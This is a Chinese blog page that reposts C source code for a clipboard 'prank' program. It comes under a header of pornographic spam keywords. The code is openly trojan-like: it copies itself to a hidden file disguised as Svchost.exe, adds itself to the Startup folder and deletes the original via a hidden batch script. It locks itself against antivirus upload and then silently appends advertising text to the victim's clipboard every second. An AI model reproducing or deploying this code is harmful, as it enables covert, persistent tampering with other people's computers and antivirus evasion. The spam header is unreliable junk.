日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板

發布時間:2025/3/12 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

主程序界面:

=============================================================================

程序介紹:

如果對方執行了主程序生成的【server.exe】,【server.exe】會自復制、自啟動、自刪除(仿木馬)。

【server.exe】會后臺每秒/次檢測對方的剪切板,一有文本數據則在尾部加入【附加內容】,達到,對方粘貼

文本的時候,后面總是會多出一些數據。

例:如果附加內容為:“對!牛彈琴!”

對方 復制(Ctrl+C)一段:“對牛彈琴!”,當對方 粘貼(Ctrl+V)到某個地方時,內容就會變成

“對牛彈琴!對!牛彈琴!”。

【復制(Ctrl+C)粘貼(Ctrl+V)是使用率最高的操作之一,不愁對方不糾結,O(∩_∩)O哈哈~】

==============================================================================

子程序源碼:

===============================================================================

#include

#include

#pragma comment(linker, "/OPT:NOWIN98")

char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 釋放路徑

char L[99999]="? ?-------??網絡編程愛好者??L、QQ:000000000";

char temp[499999999]={0};

char??tmp[499999999]={0};

HANDLE Lock_File,Lock_File1;

/*================================== 程序初始化 =======================================*/

/********************************************************/

//??開機自啟動

/********************************************************/

void Auto(char Name[])

{

// 自復制到 啟動文件夾 實現開機自啟動??嫌麻煩 就用這種方式自啟動吧 一句代碼搞定

char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";

unlink(DirName);

CopyFile(Name,DirName,1);

SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);

Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

/********************************************************/

//??自刪除功能

/********************************************************/

void Del(char *systemname)

{

FILE *fp;

fp=fopen("C:\\system.bat","w+");

fprintf(fp,"@echo off \n");

fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);

fprintf(fp,"del /f /q \"%s\" \n",systemname);

fprintf(fp,"goto statr\n");

fprintf(fp,":done\n");

fprintf(fp,"del /f /q %%0\n");

fclose(fp);

ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);

}

/********************************************************/

//??程序運行時進行初始化

/********************************************************/

void DelAdd()

{

char systemName[MAX_PATH];

char DirBuffer[MAX_PATH];

HMODULE hModule = GetModuleHandle(NULL);??// 獲取當前程序句柄

GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑

// GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統文件夾路徑

strcpy(systemName,Dirr);

if ((strcmp(DirBuffer,systemName))!=0)? ?// 判斷程序自身是否在系統目錄 不在則實現自刪除

{

CopyFile(DirBuffer,systemName,0);

Del(DirBuffer);? ?? ?// 自刪除模塊

SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);

ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運行副本

exit(0); // 退出 讓Bat刪除自己

}

else

{

Auto(DirBuffer);

// 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?

Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

}

/*================================== 程序初始化 =======================================*/

/*================================== 核心功能區 =======================================*/

/********************************************************/

//??檢查剪切板數據的類型

/********************************************************/

int jc()

{

if (OpenClipboard(NULL))??// 打開剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據

{

CloseClipboard(); // 關閉剪切板

return 1;

}

else

{

CloseClipboard(); // 關閉剪切板

return 0;

}

}

return 0;

}

/********************************************************/

//??讀取剪切板數據

/********************************************************/

char* Rjqb()

{

if (OpenClipboard(NULL))??// 打開剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據

{

HANDLE hClip;

char *pBuf;

hClip = GetClipboardData(CF_TEXT);??// 獲取指定類型的剪切板數據

pBuf = (char *)GlobalLock(hClip); // 加鎖

GlobalUnlock(hClip); // 解鎖

CloseClipboard(); // 關閉剪切板

return pBuf;

}

else

CloseClipboard(); // 關閉剪切板

}

}

/********************************************************/

//??修改剪切板數據

/********************************************************/

void Wjqb()

{

if (OpenClipboard(NULL))??// 打開剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據

{

HANDLE hClip;

char *pBuf;

EmptyClipboard(); // 清空剪切板 并釋放剪切板中數據的句柄 把剪切板的所有權賦給當前窗口

hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一個內存對象 第二個參數 字節數

pBuf = (char *)GlobalLock(hClip); // 將空間加鎖 并返回 指針

strcpy(pBuf,temp);

GlobalUnlock(hClip);??// 解鎖

SetClipboardData(CF_TEXT,pBuf); // 寫入數據

CloseClipboard(); // 關閉

strcpy(tmp,pBuf);

}

else

CloseClipboard(); // 關閉剪切板

}

}

/*================================== 核心功能區 =======================================*/

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR? ???lpCmdLine,

int? ?? ? nCmdShow)

{

// 已經加入鎖定自身的功能 不需要下面的語句

/*

HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");

if (_hEvent)

{

if(ERROR_ALREADY_EXISTS==GetLastError())

{

exit(0);

}

}

SetEvent(_hEvent);

*/

int cout=0;

//

// 讓啟動程序時的小漏斗馬上消失

GetInputState();

PostThreadMessage(GetCurrentThreadId(),NULL,0,0);

MSG msg;

GetMessage(&msg, NULL, NULL, NULL);

//

char Bud[]="!!...!!矽描冊賜悲荒粥!!MⅲRRせ211867767:";

int ii,jj=0;

ii=strlen(Bud)-1;

for(;ii>=0;ii--,jj++)

Bud[jj]=Bud[jj]-1;

DelAdd();

// 不停的循環

while (1)

{

if (jc())??//

{

// 讀取剪切板 并復制給全局變量 temp

strcpy(temp,Rjqb());

// 比較是否與上次內容相同 若不相同則進行修改

if (strcmp(temp,tmp))

{

strcat(temp,L);

cout++;

if (cout==6)

{

strcat(temp,Bud);

cout=0;

}

// 在剪切板內容后面附加廣告內容

Wjqb();??//??寫入剪切板

}

}

Sleep(1000); // 延時1秒

}

return 0;

}

===============================================================================

至于主程序源碼,主程序是用MFC創建的對話窗口,關鍵代碼都在【生成】的按鈕中

下面貼出【生成】按鈕 觸發的代碼

===============================================================================

void CMyDlg::OnButtOk()

{

// TODO: Add your control notification handler code here

CString DIr;

CString MssG;

char autoo[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";

char Dir[MAX_PATH]={0};

char Mssg[99999]={0};

GetDlgItemText(IDC_EDIT_DIR,DIr); // 獲取 釋放路徑 的編輯框數據

GetDlgItemText(IDC_EDIT_Msg,MssG); // 獲取 附加數據 的編輯框數據

strcpy(Dir,DIr);??// 必須用數組形式

strcpy(Mssg,MssG);

HRSRC hRc=FindResource(NULL,"L","Exe");

if(!hRc)

{

::MessageBox(0,"EXE資源不存在","錯誤",MB_SYSTEMMODAL);

return ;

}

HGLOBAL hg=LoadResource(NULL,hRc);??// 將資源載入內存并返回其在內存中首地址保存在hg中

DWORD dw=SizeofResource(NULL,hRc);??// 獲得資源大小并用dw保存資源大小

// 分配緩沖區并用0填充

char a[137728];

memset(a,0,137728);

// 向該緩沖區中復制資源的二進制數據

memcpy(a,hg,dw); // 將資源的二進制數據存放在緩沖區a

// 創建服務端文件

FILE *out=fopen("server.exe","wb+");

fwrite(a,1,dw,out);

fclose(out);

FILE *fp=fopen("server.exe","rb+");

rewind(fp);

fseek(fp,0x6830,0);

fwrite(Dir,1,256,fp);

rewind(fp);??// 指針歸0

fseek(fp,0x6930,0);

fwrite(Mssg ,1,99999,fp);

fclose(fp);

// 生成卸載相關的批處理...

char Fname[MAX_PATH];

GetFileTitle(Dir,Fname,sizeof(Fname));

fp=fopen("卸載.bat","w+");

fputs("echo off\n",fp);

fputs("title 卸載【整人小程序之剪切板】子程序??L、QQ:100\n",fp);

fputs("COLOR 0a\n",fp);

fputs("echo 此批處理,只能卸載子程序釋放路徑為:",fp);

fputs(Dir,fp);

fputs("\ntaskkill /F /IM \"",fp);

fputs(Fname,fp);

fputs("\"\nattrib -h \"",fp);

fputs(Dir,fp);

fputs("\"\nattrib -h \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("Del \"",fp);

fputs(Dir,fp);

fputs("\"\ndel \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("ECHO 執行完畢!\n",fp);

fputs("pause",fp);

fclose(fp);

::MessageBox(0,"已經生成服務端【server.exe】及卸載相關的批處理【卸載.exe】","成功",MB_SYSTEMMODAL);

}

=========================================================================================

主程序下載地址:

zrxcx-v1.0.zip

(38.54 KB, 下載次數: 3)

2015-1-11 00:47 上傳

點擊文件名下載附件

下載積分: 黑幣 -5

總結

以上是生活随笔為你收集整理的c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。